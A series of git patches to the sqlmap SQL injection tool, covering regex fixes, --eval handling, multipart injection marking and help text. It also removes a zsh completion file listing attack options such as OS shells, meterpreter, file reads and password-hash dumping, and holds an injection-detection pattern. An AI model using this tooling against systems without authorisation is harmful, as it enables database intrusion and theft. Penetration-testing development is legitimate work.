re.sub(r"\s*>\s*(\d+|'[^']+')", " NOT BETWEEN 0 AND \g<1>", payload) + retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload) return retVal From bc19f40d09a07a4925013dc114351beeeba88e32 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 22 Aug 2013 10:44:21 +0200 Subject: [PATCH 056/889] Minor update --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index a7d1db641..1395a3079 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -562,7 +562,7 @@ def paramToDict(place, parameters=None): warnMsg += "('%s') with most probably leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "Please, always use only valid parameter values " - warnMsg += "so sqlmap could be able to properly run " + warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) message = "Are you sure you want to continue? [y/N] " diff --git a/lib/core/settings.py b/lib/core/settings.py index 10dbad677..5120c74ca 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -377,7 +377,7 @@ ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" DUMMY_SQL_INJECTION_CHARS = ";()'" # Simple check against dummy users -DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]" +DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b" # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "exe", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov") From 0cf2bdeb1c8d8d0265426cdfb5073b506e5a47de Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 22 Aug 2013 11:11:30 +0200 Subject: [PATCH 057/889] Minor language update --- lib/controller/checks.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b65967386..ab8894e10 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -470,8 +470,8 @@ def checkSqlInjection(place, parameter, value): if unionExtended: infoMsg = "automatically extending ranges " infoMsg += "for UNION query injection technique tests as " - infoMsg += "there is at least one other potential " - infoMsg += "injection technique found" + infoMsg += "there is at least one other (potential) " + infoMsg += "technique found" singleTimeLogMessage(infoMsg) # Test for UNION query SQL injection From 3bbe02a71492f7ccbd5c0b7fae23046005f61be2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 22 Aug 2013 12:05:59 +0200 Subject: [PATCH 058/889] Bug fix (0 datetime value not liked by direct connector) --- plugins/dbms/mysql/fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 98491f930..7be7b96df 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -181,7 +181,7 @@ class Fingerprint(GenericFingerprint): # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 - if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],0))"): + if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) From 88b992ad8307b96c7e41174af5b5358ca65ac459 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Aug 2013 11:54:08 +0200 Subject: [PATCH 059/889] Fixing a bug noticed during the yesterday's AppSecEU presentation (--headers='user-agent:foobar*' was not working properly) --- lib/request/connect.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/request/connect.py b/lib/request/connect.py index 5d601a8bc..f89ace0fb 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -338,6 +338,9 @@ class Connect(object): if auxHeaders: for key, item in auxHeaders.items(): + for _ in headers.keys(): + if _.upper() == key.upper(): + del headers[_] headers[key] = item for key, item in headers.items(): From 7cb3ea20dd7ab2dfa45eece07b2c9aebac55310c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Aug 2013 11:59:58 +0200 Subject: [PATCH 060/889] Minor patch for a problem noticed yesterday too (in some cases if Ctrl-C is pressed sent is most probably a None value) --- lib/core/subprocessng.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index f2685ddfd..8483b0a73 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -197,4 +197,6 @@ def send_all(p, data): while len(data): sent = p.send(data) + if not isinstance(sent, int): + break data = buffer(data, sent) From 28eca2116f80edfdc9d5b21bf964215f1c89c387 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 27 Aug 2013 13:55:38 +0200 Subject: [PATCH 061/889] Fix for an Issue #513 --- lib/core/common.py | 21 +++++++++++++++++++++ lib/parse/cmdline.py | 4 ++++ 2 files changed, 25 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index 1395a3079..97131a357 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3365,6 +3365,27 @@ def checkDeprecatedOptions(args): errMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] raise SqlmapSyntaxException(errMsg) +def checkSystemEncoding(): + """ + Checks for problematic encodings + """ + + if sys.getdefaultencoding() == "cp720": + try: + codecs.lookup("cp720") + except LookupError: + errMsg = "there is a known Python issue (#1616979) related " + errMsg += "to support for charset 'cp720'. Please visit " + errMsg += "'http://blog.oneortheother.info/tip/python-fix-cp720-encoding/index.html' " + errMsg += "and follow the instructions to be able to fix it" + logger.critical(errMsg) + + warnMsg = "temporary switching to charset 'cp1256'" + logger.warn(warnMsg) + + reload(sys) + sys.setdefaultencoding("cp1256") + def evaluateCode(code, variables=None): """ Executes given python code given in a string form diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b74d66189..f5269f556 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import codecs import sys from optparse import OptionError @@ -13,6 +14,7 @@ from optparse import OptionParser from optparse import SUPPRESS_HELP from lib.core.common import checkDeprecatedOptions +from lib.core.common import checkSystemEncoding from lib.core.common import expandMnemonics from lib.core.common import getUnicode from lib.core.data import logger @@ -28,6 +30,8 @@ def cmdLineParser(): This function parses the command line parameters and arguments """ + checkSystemEncoding() + usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ "\"%s\"" % sys.argv[0] if " " in sys.argv[0] else sys.argv[0]) From e0bfb0503c720fabe160de5d24c2cfda3468b53b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 30 Aug 2013 09:55:57 +0200 Subject: [PATCH 062/889] Minor language update --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index dffa4c58c..e56e50cb0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -913,7 +913,7 @@ def _setTamperingFunctions(): function() if not found: - errMsg = "missing function 'tamper(payload, headers)' " + errMsg = "missing function 'tamper(payload, **kwargs)' " errMsg += "in tamper script '%s'" % tfile raise SqlmapGenericException(errMsg) From 9e975210ac5de77d682b296c704ee5e4326522aa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 30 Aug 2013 10:22:43 +0200 Subject: [PATCH 063/889] Implementation for an Issue #515 --- lib/core/common.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 97131a357..d25b839b5 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -688,12 +688,22 @@ def getDocRoot(): for suffix in BRUTE_DOC_ROOT_SUFFIXES: for target in targets: item = "%s/%s" % (prefix, suffix) - item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", "/") + item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') docRoot.append(item) if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: break + infoMsg = "using common document root locations: %s" % ','.join(docRoot) + logger.info(infoMsg) + + msg = "use additional custom " + msg += "document root locations [Enter for None]: " + answer = readInput(msg) + + if answer: + docRoot.extend(answer.split(',')) + else: docRoot = defaultDocRoot From 3a57af14525a37fc3d638a603161ccec5bea64fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 30 Aug 2013 15:26:03 +0200 Subject: [PATCH 064/889] Minor fix --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index f89ace0fb..337546af8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -783,7 +783,7 @@ class Connect(object): cookie = re.sub("((\A|\W)%s=)([^%s]+)" % (name, conf.cDel or DEFAULT_COOKIE_DELIMITER), "\g<1>%s" % value, cookie) elif post is not None: post += "%s%s=%s" % (delimiter, name, value) - else: + elif get is not None: get += "%s%s=%s" % (delimiter, name, value) if not conf.skipUrlEncode: From dd39913cf63b174caf4f190d1efacb9da8834ab4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 31 Aug 2013 00:28:51 +0200 Subject: [PATCH 065/889] Improvement for an --eval mechanism --- lib/request/connect.py | 33 +++++++++++++++++++++++---------- 1 file changed, 23 insertions(+), 10 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 337546af8..858a6a737 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -774,17 +774,30 @@ class Connect(object): for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): + found = False value = unicode(value) - if re.search(r"\b%s=" % name, (get or "")): - get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) - elif re.search(r"\b%s=" % name, (post or "")): - post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) - elif re.search(r"\b%s=" % name, (cookie or "")): - cookie = re.sub("((\A|\W)%s=)([^%s]+)" % (name, conf.cDel or DEFAULT_COOKIE_DELIMITER), "\g<1>%s" % value, cookie) - elif post is not None: - post += "%s%s=%s" % (delimiter, name, value) - elif get is not None: - get += "%s%s=%s" % (delimiter, name, value) + + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), name, re.escape(delimiter)) + if re.search(regex, (get or "")): + found = True + get = re.sub(regex, "\g<1>%s\g<3>" % value, get) + + if re.search(regex, (post or "")): + found = True + post = re.sub(regex, "\g<1>%s\g<3>" % value, post) + + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cDel or DEFAULT_COOKIE_DELIMITER)) + if re.search(regex, (cookie or "")): + found = True + cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) + + if not found: + if post is not None: + post += "%s%s=%s" % (delimiter, name, value) + elif get is not None: + get += "%s%s=%s" % (delimiter, name, value) + elif cookie is not None: + cookie += "%s%s=%s" % (conf.cDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) From 81409ce6da1dcd4e5e0a2018febf44822938f41d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Sep 2013 10:54:32 +0200 Subject: [PATCH 066/889] Minor patch --- lib/request/connect.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 858a6a737..05247af7a 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -759,14 +759,14 @@ class Connect(object): if '=' in part: name, value = part.split('=', 1) value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) - evaluateCode("%s=%s" % (name, repr(value)), variables) + evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) if cookie: for part in cookie.split(conf.cDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) value = urldecode(value, convall=True) - evaluateCode("%s=%s" % (name, repr(value)), variables) + evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) From 6a3d804af51a54189205ca9d26cad43f1ee9cc0f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Sep 2013 11:32:32 +0200 Subject: [PATCH 067/889] Minor update (display NULL instead of FALSE when non-query statement is sqlQueried) --- plugins/generic/custom.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index aa76a745f..12880e94b 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -15,6 +15,7 @@ from lib.core.convert import utf8decode from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS +from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion from lib.request import inject @@ -63,7 +64,7 @@ class Custom: debugMsg = "done" logger.debug(debugMsg) - output = False + output = NULL return output From bf57f636a3c41fbbc4147fb1d545f987de32898d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 4 Sep 2013 19:22:24 +0200 Subject: [PATCH 068/889] Fix for an Issue #517 --- lib/core/target.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 75cec800e..5b03885ac 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -144,7 +144,7 @@ def _setRequestParams(): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)(Content-Disposition.+?)((\r)?\n--)", r"\g<1>%s\g<2>" % CUSTOM_INJECTION_MARK_CHAR, conf.data) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name=\"(?P[^\n]+)\").+?)((\r)?\n)+--", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.MULTIPART if not kb.postHint: From b17bb0730134197b1aec7d85e320fca5c673ae31 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 4 Sep 2013 19:28:59 +0200 Subject: [PATCH 069/889] Minor regex update --- lib/core/target.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 5b03885ac..9f8d9a7ce 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -144,7 +144,7 @@ def _setRequestParams(): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name=\"(?P[^\n]+)\").+?)((\r)?\n)+--", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*\"(?P[^\n]+)\").+?)((\r)?\n)+--", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.MULTIPART if not kb.postHint: From 4cf49bc0ccc4456431d56538800f83c289fd77a2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 5 Sep 2013 09:22:11 +0200 Subject: [PATCH 070/889] Minor fix for an Issue #517 --- lib/core/target.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 9f8d9a7ce..377d656cf 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -144,7 +144,7 @@ def _setRequestParams(): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*\"(?P[^\n]+)\").+?)((\r)?\n)+--", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.MULTIPART if not kb.postHint: From 96ccdb7c839b60c451fe779c9ec0899f887930a1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 6 Sep 2013 19:41:40 +0200 Subject: [PATCH 071/889] Adding new regular expressions for error messages --- xml/errors.xml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/xml/errors.xml b/xml/errors.xml index f48750c7e..ad587d135 100644 --- a/xml/errors.xml +++ b/xml/errors.xml @@ -7,6 +7,7 @@ + @@ -15,6 +16,7 @@ + @@ -30,7 +32,7 @@ - + @@ -69,6 +71,7 @@ + From 696fb6530e05bfdcfde8bbb5f44dd008c5ab4197 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 11 Sep 2013 14:57:38 +0200 Subject: [PATCH 072/889] Cosmetic fix (Kali shows ugly 'python ./sqlmap.py' in usage) --- lib/parse/cmdline.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f5269f556..2ac9fa0fa 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission """ import codecs +import os import sys from optparse import OptionError @@ -32,8 +33,10 @@ def cmdLineParser(): checkSystemEncoding() + _ = os.path.normpath(sys.argv[0]) + usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ - "\"%s\"" % sys.argv[0] if " " in sys.argv[0] else sys.argv[0]) + "\"%s\"" % _ if " " in _ else _) parser = OptionParser(usage=usage) From 176f744ac67ab666f26e49204fa2fefd22e8d5fd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 11 Sep 2013 15:05:37 +0200 Subject: [PATCH 073/889] Minor cosmetic update --- lib/parse/cmdline.py | 2 +- sqlmap.conf | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 2ac9fa0fa..b8a78fb24 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -635,7 +635,7 @@ def cmdLineParser(): help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_option("--alert", dest="alert", - help="Run shell command(s) when SQL injection is found") + help="Run host OS command(s) when SQL injection is found") miscellaneous.add_option("--answers", dest="answers", help="Set question answers (e.g. \"quit=N,follow=N\")") diff --git a/sqlmap.conf b/sqlmap.conf index 9636e3af5..194046da2 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -681,7 +681,7 @@ updateAll = False # Use short mnemonics (e.g. "flu,bat,ban,tec=EU"). mnemonics = -# Run shell command(s) when SQL injection is found. +# Run host OS command(s) when SQL injection is found. alert = # Set question answers (e.g. "quit=N,follow=N"). From a3defc175dcdfb115e8085d25192e6294e0c79f6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 11 Sep 2013 23:17:18 +0200 Subject: [PATCH 074/889] Fix (we are not using certificate but PEM private key file in this particular authentication; also, auxiliary cert_file is holding certificate chain that is ignored by python itself) --- extra/shutils/_sqlmap.py | 177 ------------------ lib/core/enums.py | 2 +- lib/core/option.py | 47 ++--- lib/core/optiondict.py | 2 +- lib/parse/cmdline.py | 7 +- lib/request/{certhandler.py => pkihandler.py} | 7 +- sqlmap.conf | 10 +- 7 files changed, 30 insertions(+), 222 deletions(-) delete mode 100644 extra/shutils/_sqlmap.py rename lib/request/{certhandler.py => pkihandler.py} (72%) diff --git a/extra/shutils/_sqlmap.py b/extra/shutils/_sqlmap.py deleted file mode 100644 index 44c33bfb1..000000000 --- a/extra/shutils/_sqlmap.py +++ /dev/null @@ -1,177 +0,0 @@ -#compdef sqlmap.py - -# sqlmap completion commands. written by kost -# put this file in your zsh completion dir and restart your shell. Zsh completion dir is usually -# located somewhere in /usr/share/zsh/ or /usr/local/share/zsh - -local curcontext="$curcontext" state line - -_arguments -C -s \ - '(- *)'{--help,-h}'[Show basic help message and exit]' \ - '(- *)'-hh'[Show advanced help message and exit]' \ - '(-v)'-v+'[Verbosity level: 0-6 (default 1)]:Verbosity level (0-6) - default 1' \ - '(-d)'-d+'[Direct connection to the database]' \ - '(-u,--url)'{-u+,--url=-}'[Target url]' \ - '(-g)'-g+'[Process Google dork results as target urls]' \ - '(--data)'--data=-'[Data string to be sent through POST]' \ - '(-l)'-l+'[Parse targets from Burp or WebScarab proxy logs]:LOGFILE:_files' \ - '(-m)'-m+'[Scan multiple targets enlisted in a given textual file]:BULKFILE:_files' \ - '(-r)'-r+'[Load HTTP request from a file]:REQUESTFILE:_files' \ - '(-s)'-s+'[Load session from a stored (.sqlite) file]:SESSIONFILE:_files' \ - '(-c)'-c+'[Load options from a configuration INI file]:CONFIGFILE:_files' \ - '(--param-del)'--param-del=-'[Character used for splitting parameter values]:PDEL' \ - '(--cookie)'--cookie=-'[HTTP Cookie header]:COOKIE' \ - '(--load-cookies)'--load-cookies=-'[File containing cookies in Netscape/wget format]:COOKIEFILE:_files' \ - '(--drop-set-cookie)'--drop-set-cookie'[Ignore Set-Cookie header from response]' \ - '(--user-agent)'--user-agent=-'[HTTP User-Agent header]:HTTP User Agent' \ - '(--random-agent)'--random-agent'[Use randomly selected HTTP User-Agent header]' \ - '(--randomize)'--randomize=-'[Randomly change value for given parameter(s)]:RPARAM' \ - '(--force-ssl)'--force-ssl'[Force usage of SSL/HTTPS requests]' \ - '(--host)'--host=-'[HTTP Host header]:Host Header' \ - '(--referer)'--referer=-'[HTTP Referer header]:REFERER' \ - '(--headers)'--headers=-'[Extra headers (e.g. Accept-Language: fr\nETag: 123)]:HEADERS' \ - '(--auth-type)'--auth-type=-'[HTTP authentication type (Basic, Digest or NTLM)]:ATYPE' \ - '(--auth-cred)'--auth-cred=-'[HTTP authentication credentials (name:password)]:ACRED' \ - '(--auth-cert)'--auth-cert=-'[HTTP authentication certificate (key_file,cert_file)]:ACERT:_files' \ - '(--proxy)'--proxy=-'[Use a HTTP proxy to connect to the target url]:PROXY' \ - '(--proxy-cred)'--proxy-cred=-'[HTTP proxy authentication credentials (name:password)]:PCRED' \ - '(--ignore-proxy)'--ignore-proxy'[Ignore system default HTTP proxy]' \ - '(--delay)'--delay=-'[Delay in seconds between each HTTP request]:DELAY' \ - '(--timeout)'--timeout=-'[Seconds to wait before timeout connection (default 30)]:TIMEOUT' \ - '(--retries)'--retries=-'[Retries when the connection timeouts (default 3)]:RETRIES' \ - '(--scope)'--scope=-'[Regexp to filter targets from provided proxy log]:SCOPE' \ - '(--safe-url)'--safe-url=-'[Url address to visit frequently during testing]:SAFURL' \ - '(--safe-freq)'--safe-freq=-'[Test requests between two visits to a given safe url]:SAFREQ' \ - '(--skip-urlencode)'--skip-urlencode'[Skip URL encoding of payload data]' \ - '(--eval)'--eval=-'[Evaluate provided Python code before the request (e.g.]:EVALCODE' \ - '(-o)'-o'[Turn on all optimization switches]' \ - '(--predict-output)'--predict-output'[Predict common queries output]' \ - '(--keep-alive)'--keep-alive'[Use persistent HTTP(s) connections]' \ - '(--null-connection)'--null-connection'[Retrieve page length without actual HTTP response body]' \ - '(--threads)'--threads=-'[Max number of concurrent HTTP(s) requests (default 1)]:THREADS' \ - '(-p)'-p+'[Testable parameter(s)]:TESTPARAMETER' \ - '(--dbms)'--dbms=-'[Force back-end DBMS to this value]:DBMS:->list-dbms' \ - '(--os)'--os=-'[Force back-end DBMS operating system to this value]:OS:->list-os' \ - '(--invalid-bignum)'--invalid-bignum'[Use big numbers for invalidating values]' \ - '(--invalid-logical)'--invalid-logical'[Use logical operations for invalidating values]' \ - '(--no-cast)'--no-cast'[Turn off payload casting mechanism]' \ - '(--no-escape)'--no-unescape'[Turn off string escaping mechanism]' \ - '(--prefix)'--prefix=-'[Injection payload prefix string]:PREFIX' \ - '(--suffix)'--suffix=-'[Injection payload suffix string]:SUFFIX' \ - '(--skip)'--skip=-'[Skip testing for given parameter(s)]:SKIP' \ - '(--tamper)'--tamper=-'[Use given script(s) for tampering injection data]:TAMPER' \ - '(--level)'--level=-'[Level of tests to perform (1-5, default 1)]:LEVEL (1-5), default 1' \ - '(--risk)'--risk=-'[Risk of tests to perform (0-3, default 1)]:RISK (0-3), default 1' \ - '(--string)'--string=-'[String to match when query is evaluated to True]:STRING' \ - '(--not-string)'--not-string=-'[String to match when query is evaluated to False]:NOTSTRING' \ - '(--regexp)'--regexp=-'[Regexp to match when query is evaluated to True]:REGEXP' \ - '(--code)'--code=-'[HTTP code to match when query is evaluated to True]' \ - '(--text-only)'--text-only'[Compare pages based only on the textual content]' \ - '(--titles)'--titles'[Compare pages based only on their titles]' \ - '(--technique)'--technique=-'[SQL injection techniques to test for (default "BEUSTQ")]:TECH:->list-techniques' \ - '(--time-sec)'--time-sec=-'[Seconds to delay the DBMS response (default 5)]:TIMESEC' \ - '(--union-cols)'--union-cols=-'[Range of columns to test for UNION query SQL injection]:UCOLS' \ - '(--union-char)'--union-char=-'[Character to use for bruteforcing number of columns]:UCHAR' \ - '(--dns-domain)'--dns-domain=-'[Domain name used for DNS exfiltration attack]:DNSDOMAIN' \ - '(--second-order)'--second-order=-'[Resulting page url searched for second-order response]:SECONDORDER' \ - '(-f,--fingerprint)'{-f,--fingerprint}'[Perform an extensive DBMS version fingerprint]' \ - '(-a,--all)'{-a,--all}'[Retrieve everything]' \ - '(-b,--banner)'{-b,--banner}'[Retrieve DBMS banner]' \ - '(--current-user)'--current-user'[Retrieve DBMS current user]' \ - '(--current-db)'--current-db'[Retrieve DBMS current database]' \ - '(--hostname)'--hostname'[Retrieve DBMS server hostname]' \ - '(--is-dba)'--is-dba'[Detect if the DBMS current user is DBA]' \ - '(--users)'--users'[Enumerate DBMS users]' \ - '(--passwords)'--passwords'[Enumerate DBMS users password hashes]' \ - '(--privileges)'--privileges'[Enumerate DBMS users privileges]' \ - '(--roles)'--roles'[Enumerate DBMS users roles]' \ - '(--dbs)'--dbs'[Enumerate DBMS databases]' \ - '(--tables)'--tables'[Enumerate DBMS database tables]' \ - '(--columns)'--columns'[Enumerate DBMS database table columns]' \ - '(--schema)'--schema'[Enumerate DBMS schema]' \ - '(--count)'--count'[Retrieve number of entries for table(s)]' \ - '(--dump)'--dump'[Dump DBMS database table entries]' \ - '(--dump-all)'--dump-all'[Dump all DBMS databases tables entries]' \ - '(--search)'--search'[Search column(s), table(s) and/or database name(s)]' \ - '(-D)'-D+'[DBMS database to enumerate]:DB' \ - '(-T)'-T+'[DBMS database table to enumerate]:TBL' \ - '(-C)'-C+'[DBMS database table column to enumerate]:COL' \ - '(-U)'-U+'[DBMS user to enumerate]:USER' \ - '(--exclude-sysdbs)'--exclude-sysdbs'[Exclude DBMS system databases when enumerating tables]' \ - '(--start)'--start=-'[First query output entry to retrieve]:LIMITSTART' \ - '(--stop)'--stop=-'[Last query output entry to retrieve]:LIMITSTOP' \ - '(--first)'--first=-'[First query output word character to retrieve]:FIRSTCHAR' \ - '(--last)'--last=-'[Last query output word character to retrieve]:LASTCHAR' \ - '(--sql-query)'--sql-query=-'[SQL statement to be executed]:QUERY' \ - '(--sql-shell)'--sql-shell'[Prompt for an interactive SQL shell]' \ - '(--sql-file)'--sql-file=-'[Execute SQL statements from given file(s)]:SQLFILE:_files' \ - '(--common-tables)'--common-tables'[Check existence of common tables]' \ - '(--common-columns)'--common-columns'[Check existence of common columns]' \ - '(--udf-inject)'--udf-inject'[Inject custom user-defined functions]' \ - '(--shared-lib)'--shared-lib=-'[Local path of the shared library]:SHLIB' \ - '(--file-read)'--file-read=-'[Read a file from the back-end DBMS file system]:RFILE' \ - '(--file-write)'--file-write=-'[Write a local file on the back-end DBMS file system]:WFILE' \ - '(--file-dest)'--file-dest=-'[Back-end DBMS absolute filepath to write to]:DFILE' \ - '(--os-cmd)'--os-cmd=-'[Execute an operating system command]:OSCMD' \ - '(--os-shell)'--os-shell'[Prompt for an interactive operating system shell]' \ - '(--os-pwn)'--os-pwn'[Prompt for an out-of-band shell, meterpreter or VNC]' \ - '(--os-smbrelay)'--os-smbrelay'[One click prompt for an OOB shell, meterpreter or VNC]' \ - '(--os-bof)'--os-bof'[Stored procedure buffer overflow exploitation]' \ - '(--priv-esc)'--priv-esc'[Database process user privilege escalation]' \ - '(--msf-path)'--msf-path=-'[Local path where Metasploit Framework is installed]:MSFPATH' \ - '(--tmp-path)'--tmp-path=-'[Remote absolute path of temporary files directory]:TMPPATH' \ - '(--reg-read)'--reg-read'[Read a Windows registry key value]' \ - '(--reg-add)'--reg-add'[Write a Windows registry 